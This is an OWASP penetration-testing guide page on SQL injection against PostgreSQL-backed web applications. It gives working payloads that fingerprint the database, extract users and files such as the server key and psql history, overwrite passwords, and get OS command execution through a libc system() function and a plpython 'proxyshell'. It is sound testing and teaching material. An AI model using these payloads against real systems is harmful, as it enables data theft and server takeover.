OWASP Backend Security Project Testing PostgreSQL

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Short Description of the Issue

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:

  • PHP Connector allow multiple statements to be executed by using ; as a statement seperator
  • SQL Statement can be truncated on vulnerable URL by appending comment char: --.


Black Box testing and example

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1


Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)


Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current session process sleep for n seconds.

On previous version you can easy create a custom pg_sleep(n) by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT


Single Quote unescape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character


Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--


Attack Vectors

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--


Reading from a file

ProstgreSQL provides two way to access local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between file and table. Thus in order to user it you need to enumerate at least one table and one column to store result within. How to enumerate tables and columns has been discussed on previous sections.


Example:

Let say you allready guess the existence of content text column in table contents belonging to current database. You can retrieve postgres client history with the following trick:

 /store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--


pg_read_file():

This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.

Examples:

  • SELECT pg_read_file('server.key',0,1000);

Writing to a file

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.


Dynamic Library

Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting it's stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout


Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on some databsae:
    SELECT count(*) FROM pg_language WHERE lanname='plpython'
  • If not assuming that sysadm has allready installed plpython package try to enable:
    CREATE LANGUAGE plpythonu
  • If all of the above succeded create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run a OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Network Testing

References

Tools